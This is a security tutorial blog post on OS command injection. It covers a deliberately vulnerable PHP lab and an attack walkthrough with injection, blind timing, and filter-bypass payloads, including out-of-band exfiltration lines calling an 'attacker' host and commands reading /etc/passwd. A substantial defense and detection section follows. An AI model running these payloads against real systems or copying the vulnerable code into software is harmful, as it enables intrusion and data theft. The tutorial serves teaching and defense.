Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized testing is illegal in most jurisdictions.
Introduction
OS command injection (OWASP A03:2021 Injection, CWE-78) happens when an application passes attacker-controlled input into a system shell without proper neutralization. The result is direct, often unauthenticated, code execution on the host — frequently the highest-impact bug you can find on a web target.
In this post you'll learn how the shell parser turns user input into command execution, how to detect injection when there is no output to look at (blind injection), and how to defeat naive input filters using ${IFS} and other tricks. We close with a blue-team section that carries equal weight, because knowing how to fix this is as important as knowing how to exploit it.
How It Works
When code such as the following runs, the application hands a string to a shell interpreter (/bin/sh -c on Linux, cmd.exe /c on Windows):
// Vulnerable PHP — passes raw user input to the shell
$host = $_GET['host'];
system("ping -c 1 " . $host);PHPThe shell does not see "an argument to ping" — it sees a command line. Shell metacharacters change the meaning of that line. The important ones:
| Metacharacter | Behavior |
|---|---|
; |
Command separator — run sequentially |
| |
Pipe stdout of left into stdin of right (also chains) |
& |
Run in background / && runs right only if left succeeds |
|| |
Run right only if left fails |
` / $() |
Command substitution — execute inline |
\n (%0a) |
Newline acts as a separator |
So a request like ?host=127.0.0.1;id becomes ping -c 1 127.0.0.1;id, and id runs as the web server user. Substitution payloads like ?host=$(id) are useful when separators are filtered but the value is embedded somewhere reflected.
Prerequisites / Lab Setup
You can reproduce everything below with a tiny local lab. Never expose it to the internet.
mkdir cmdi-lab && cd cmdi-lab
cat > app.php <<'EOF'
<?php
$host = $_GET['host'] ?? '127.0.0.1';
echo "<pre>";
system("ping -c 1 " . $host);
echo "</pre>";
EOF
php -S 127.0.0.1:8080BashUseful tooling on the attacker side:
curlfor crafting requests- A listener for out-of-band callbacks:
nc -lvnp 9001, or Burp Collaborator /interactsh-clientfor DNS/HTTP exfil commix(commixproject) for automated detection — but learn the manual method first
Attack Walkthrough
1. Confirm in-band injection
If output is reflected, separators give immediate proof:
curl 'http://127.0.0.1:8080/app.php?host=127.0.0.1;id'
curl 'http://127.0.0.1:8080/app.php?host=127.0.0.1%26%26id' # URL-encoded &&BashA response containing uid=33(www-data) confirms execution.
2. Blind injection — time-based
Frequently the command runs but its output is discarded. This is blind command injection. The most reliable detector is a time delay: inject sleep and measure the response.
# Baseline vs. delayed — compare the total time
time curl -s 'http://127.0.0.1:8080/app.php?host=127.0.0.1'
time curl -s 'http://127.0.0.1:8080/app.php?host=127.0.0.1;sleep+5'BashA consistent ~5s delay (and ~0s without it) proves execution. On Windows targets use ping -n 6 127.0.0.1 as a portable delay primitive.
3. Blind injection — out-of-band (OOB)
Time-based extraction is slow. If the host has outbound network access, exfiltrate via DNS or HTTP to a server you control:
# DNS exfil — encode command output into a subdomain label
curl 'http://target/app.php?host=x;nslookup+`whoami`.<id>.oast.fun'
# HTTP exfil of a file, base64-encoded to survive transit
curl 'http://target/app.php?host=x;curl+http://attacker:9001/?d=$(id|base64)'BashWatch the callback on your listener. OOB is the go-to when the box is firewalled for inbound but allows egress — a very common real-world posture.
4. Filter bypass with IFS and friends
Defenders often blacklist spaces or specific characters. The shell's IFS (Internal Field Separator) variable defaults to space/tab/newline, so ${IFS} substitutes for a space the filter never sees literally:
# Space blocked? Use ${IFS}
?host=127.0.0.1;cat${IFS}/etc/passwd
# Brace expansion avoids spaces entirely
?host=127.0.0.1;{cat,/etc/passwd}
# Tab via $IFS sliced, or the literal %09 in the URL
?host=127.0.0.1;cat$IFS$9/etc/passwdBashWhen keywords like cat or /etc/passwd are filtered, break them up so the literal string never appears in input:
# Concatenation / quote insertion — shell ignores empty quotes
?host=127.0.0.1;c''at /e't'c/pa'ss'wd
# Wildcards dodge full path strings
?host=127.0.0.1;cat /et?/passw?
# Build strings from variables or encode the whole command
?host=127.0.0.1;echo${IFS}aWQK|base64${IFS}-d|shBashFor newline-based separation when ;, |, and & are all stripped, URL-encode a line feed (%0a) — the shell treats it as a command boundary. This pattern overlaps with techniques in WAF and input filter bypass, and once you have a foothold you'll want a reverse shell cheat sheet to upgrade access.
Attack Flow

Diagram: locate the shell sink, decide between in-band/blind and OOB/time-based extraction, then apply filter bypasses until you reach full command execution.
Detection & Defense (Blue Team)
Command injection is fully preventable. The single most effective fix is to never invoke a shell at all — pass arguments as an array to an exec API so no parser interprets metacharacters.
# UNSAFE — string goes to /bin/sh -c
import os, subprocess
subprocess.run(f"ping -c 1 {host}", shell=True) # do NOT do this
# SAFE — argv array, no shell, host is just one argument
subprocess.run(["ping", "-c", "1", host], shell=False, timeout=5)PythonLayered defenses:
- Avoid the shell. Use library/API equivalents instead of shelling out (e.g., a native ping or HTTP library).
shell=False/execve-style argv arrays in Python,child_process.execFile(notexec) in Node.js,ProcessBuilderin Java. - Strict allowlisting. If a value must reach a command, validate against a tight positive pattern — for a hostname,
^[a-zA-Z0-9.-]+$. Reject, don't sanitize. - Least privilege. Run the web process as an unprivileged account with no shell, and apply seccomp/AppArmor/SELinux profiles so even successful injection can't spawn
/bin/sh. - Egress filtering. Block outbound DNS/HTTP from app servers to defeat OOB exfiltration that time-based-only WAFs miss.
Detection. Map this to MITRE ATT&CK T1059 (Command and Scripting Interpreter). High-value signals:
- A web/app service process (e.g.,
www-data,apache, IIS app-pool) spawningsh,bash,nslookup,curl,whoami, orpowershellas a child. Hunt this with auditd/Sysmon (Event ID 1 — process creation) and EDR parent-child rules. - Inbound requests containing
;,|,&,`,$(,${IFS},%0a, orbase64 -d. Surface these in WAF/ModSecurity CRS logs (rule family 932xxx). - Anomalous outbound DNS with long, high-entropy subdomain labels — a classic OOB exfil fingerprint.
# Example auditd rule: alert when www-data spawns a shell
auditctl -a always,exit -F arch=b64 -S execve -F uid=33 -F exe=/bin/sh -k cmdiBashRemember that WAF signatures are mitigation-of-last-resort, not a fix — the ${IFS} and quote-insertion tricks above exist precisely to evade them.
Conclusion
OS command injection collapses the gap between "user input" and "code execution" because a shell re-parses everything it's handed. Offensively, your workflow is: find the sink, prove execution (in-band, then blind via sleep or OOB), and peel back filters with ${IFS}, brace expansion, wildcards, and encoding. Defensively, the cure is structural — drop the shell, use argv arrays, allowlist inputs, and constrain the process so a single mistake can't become full RCE. Pair that with parent-child process monitoring and you turn a critical bug into a detectable, contained event.
References
- OWASP — Command Injection
- MITRE — CWE-78: OS Command Injection
- MITRE ATT&CK — T1059: Command and Scripting Interpreter
- PortSwigger Web Security Academy — OS command injection
- HackTricks — Command Injection
- commix — github.com/commixproject/commix



Comments